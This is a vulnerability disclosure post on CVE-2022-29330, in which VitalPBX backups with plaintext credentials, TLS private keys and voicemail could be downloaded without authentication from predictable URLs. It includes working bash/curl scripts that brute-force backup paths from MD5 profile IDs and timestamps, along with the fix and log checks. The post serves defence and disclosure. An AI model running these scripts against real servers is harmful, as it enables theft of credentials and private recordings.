CVE-2022-29330 - vulnerability in VitalPBX < 3.2.1
Spoiler: We found that the VitalPBX’s backup system was not secured enough; the files were readable without restriction and gave access, in clear text, to passwords, cryptographic keys and voicemails (amongst other). Hopefully, soon after our annoucement, the vulnerability was fixed on may 4th (version 3.2.1).
As we were playing around quietly configuring our VitalPBX
server, we discovered a vulnerability that was relatively easy to
implement and gave us access to data we should not be able to read
freely (i.e. passwords extensions, but not only). Here’s how it
works… and why you should update your version.
Useless for a family, therefore essential for a geek family, we have an IPBX at home. Among the many software on the market, we have installed a VitalPBX in a virtual machine connected to the rest of our network and responsible to connect our IP phones (IP-8815) and our analog external lines (via an HX4G gateway connected to ISP boxes).
Throughout our adventures in this wonderful world of VoIP, we have experimented lots of tricks that allow us to have, @home, all the features expected from a business (or hotel) phone system: ring group, voicemail and turing turing (to avoid robot calls)…
Latest: backup (because backups matters). It is true that given our infrastructure, this server is quick to install and the rare data it contains can be lost, so we could have skipped it. The thing is that as legal experts, we do not see ourselves working for judges and companies without knowing what we are talking about (and also because we like setup computers) .
And it was precisely while trying to setup the backup system, or rather trying to automate it, that we discovered this vulnerability…
VitalPBX’s Backup System
The setup of VitalPBX backups is done via the web administration interface. Once logged in, you need to go to “admin / Tools / Backup & Restore”. The html form presented by default allows you to create a new backup profile, with at least a name.
Once your backup profiles have been created, you can list them via the menu icon () and then access them by clicking on their name. The new screen display the configuration form and adds the list of backups already made (within the limit configured above), and allows you to restore one (button } on the right in the corresponding line) and to create new savepoints (button at the bottom left of the screen).
If you want to make backups automatically, you must first add an
automatic task profile (via the “PBX / Tools / cron profiles” menu)
because as long as there is none, the Run automatically field
only contains the disabled
value).
Backup Vulnerability
As you may have seen, the web interface also offers a button to
download a savepoint. By clicking on it, you will then obtain an archive
in tar
format which you could save on your side. It’s not
obvious because it hides the details from us (it’s opaque)
but this button just redirects your browser to the file address which
might look like as follows:
https://monipbx.monreseau.lan/static/backup/c4ca4238a0b923820dcc509a6f75849b/vitalpbx-1650260415.tar
It doesn’t look like much seen like that but by checking the details, you’ll see that it’s going to be a problem.
No access control
The configuration file of the web server is, as always on Red
Hat, in /etc/httpd/conf.d/
and more particularly, the
file vitalpbx.conf
. There is the configuration of the
vhosts (virtual web servers) used by vitalpbx, including that of the web
administration interface that interests us and of which here is an
extract:
<VirtualHost *:443>
...
<Directory "/var/lib/vitalpbx/static">
Require all granted
</Directory>
Alias /static "/var/lib/vitalpbx/static"
...
</VirtualHost>
If we read it from bottom to top, we learn that the
/static
prefix in the address is in fact an alias which
corresponds to the /var/lib/vitalpbx/static
directory. Then
(or rather before) that this directory is in free access
(Require all granted
). No PHP code, no configuration line
or .htaccess
file will temper this lack of access
control.
If we know the address of a file, we can access it without constraint.
The only consolation is that the server does not allow directory
listing; if you access
https://monipbx.mynetwork.lan/static/backup/
, the system
will return a 403 - Forbidden error (you do not have the right
to see the contents of the directory).
Deterministic address
We must therefore guess the rest of the address of the backup files…
c4ca4238a0b923820dcc509a6f75849b/vitalpbx-1650260415.tar
c4ca4238a0b923820dcc509a6f75849b
, is easy to find, just paste it into any search engine to find out that it is the MD5 sum of the string “1” (the profile ID of the backup). By doing the test with new profiles we obtain, each time, the MD5 of their identifier,c81e728d9d4c2f636f067f89cc14862c
for 2, theneccbc87e4b5ce2fe28308fd9f2a7baf3
for 3, and so on.1650260415
is more subtle (search engines won’t help you) but it’s just the timestamp of the file; be the number of seconds elapsed since January 1st, 1970 when the file was written to disk…
All you need is to find a profile identifier and a valid timestamp, two pieces of information whose values follow very simple sequences.
One can enumerate profiles (consecutive integers) and timestamps (countdown from now) until a backup file is found.
Exploitation
Rather than testing these combinations by hand, we can automate all
of this. Here is a solution in bash 😉. In short, we test all timestamps
over the last 24 hours, for the first 10 profiles. And we quit the
script as soon as curl
has found something.
#!/bin/bash
now=$(date +%s)
past=$(date -d "1 day ago" +%s)
for profile in $(seq 1 10) ; do
md5=$(echo -n $profile | md5sum | sed -e "s/ .*//")
curl -sk "https://localhost/static/backup/$md5/" \
-o /dev/null -w "%{http_code}" \
| grep -q "404" && continue
for timestamp in $(seq $now -1 $past) ; do
curl -fJOsk "https://monipbx.monreseau.lan/static/backup/$md5/vitalpbx-$timestamp.tar" && exit 1
done
done
If you’re in a hurry, we can speed things up with a bit of
parallelism on the curl
calls. For that, we will modify the
inner loop and directly pass the result of seq
to
xargs
.
export md5=$(echo -n $profile | md5sum | sed -e "s/ .*//")
...
seq $now -1 $past | xargs -P 10 -I % bash -c \
'curl -fJOsk "https://localhost/static/backup/$md5/vitalpbx-%.tar" && exit 255' \
|| exit 1
Impact
The backup file is a tar
archive containing other
archives (gz
and tar.gz
). And among all that
is saved, some elements are particularly interesting…
asterisk.sql.gz
contains, among other things, the configuration of some PJSIP extensions and their identifiers (logins and passwords in plain text),dialplan.tar.gz
contains, among other things, the configuration of the SIP extensions (insip__50-1-extensions.conf
) and PJSIP (inpjsip__50-1-extensions.conf
), including identifiers (logins and passwords in plain text),certificates.tar.gz
contains the TLS certificates and their corresponding private key,voicemail.tar.gz
, as its name suggests, contains voicemail, i.e. the audio messages that callers have left.
So if someone gets their hands on your backup file, they can:
- Spoof extensions from the VoIP server, and read voice messages left by correspondents,
- Spoof the server (e.g. with an HTTPS proxy) and then recover administrator passwords.
And once he has the admin passwords, he can do anything.
Fix
Telesoft S.A fixed this vulnerability in version 3.2.1, once updated, your server is no longer vulnerable to this attack 🎉.
In detail, the backup files are no longer directly accessible (they have been moved to
/var/lib/vitalpbx/backup
, outside the directories accessible by apache) and therefore require going through the user interface in PHP which does authentication checks.
To find out if your server has been attacked, you can look at the web
server logs. They are in /var/log/httpd
, a search on
/static/backup
will tell you if any accesses have taken
place. If you see access, and if you want to be careful, change your TLS
keys and passwords (extensions and to be careful, users).
Disclosure log
- Discovery: April 1st, 2022
- Communication to editor: April 1st, 2022
- Fix: Mai 4th (version 3.2.1 R1).